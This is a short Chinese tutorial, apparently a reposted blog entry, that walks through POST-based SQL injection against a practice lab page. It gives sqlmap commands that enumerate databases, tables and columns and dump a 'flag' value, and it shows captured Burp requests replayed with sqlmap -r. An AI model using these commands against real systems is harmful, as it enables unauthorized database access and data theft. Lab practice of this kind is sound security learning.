POST注入
方法一加—form跑資料庫
sqlmap.py -u http://59.63.200.79:8815/Pass-05/index.php —form —dbs
跑出資料庫后查詢表名 假設庫名是error
sqlmap.py -u http://59.63.200.79:8815/Pass-05/index.php —form —dbs -D error —tables
得到表名后查詢欄位 欄位名error_flag
sqlmap.py -u http://59.63.200.79:8815/Pass-05/index.php —form —dbs -D error -T error_flag —columns
跑欄位值 值是flag 加—dump拿到資料
sqlmap.py -u http://59.63.200.79:8815/Pass-05/index.php —form —dbs -D error -T error_flag -C flag —dump
方法二
用BURP抓包后保存資料包這里保存為1.txt檔案
抓包前
POST /Pass-05/index.php HTTP/1.1
Host: 59.63.200.79:8815
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Origin: http://59.63.200.79:8815
Connection: close
Referer: http://59.63.200.79:8815/Pass-05/index.php
Upgrade-Insecure-Requests: 1
username=admin&password=admin&submit=%E7%99%BB%E5%BD%95
打開保存資料包檔案1.txt
抓包后在認為存在注入的地方打
POST /Pass-05/index.php HTTP/1.1
Host: 59.63.200.79:8815
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Origin: http://59.63.200.79:8815
Connection: close
Referer: http://59.63.200.79:8815/Pass-05/index.php
Upgrade-Insecure-Requests: 1
username=1&password=1&submit=%E7%99%BB%E5%BD%95
用到-r的引數 后面的和方法1一樣跑
sqlmap.py -r C:\Users\ceshi\Desktop\1.txt.txt —dbs
轉載請註明出處，本文鏈接：https://www.uj5u.com/qita/103812.html
標籤：其他
上一篇：DNS域名決議程序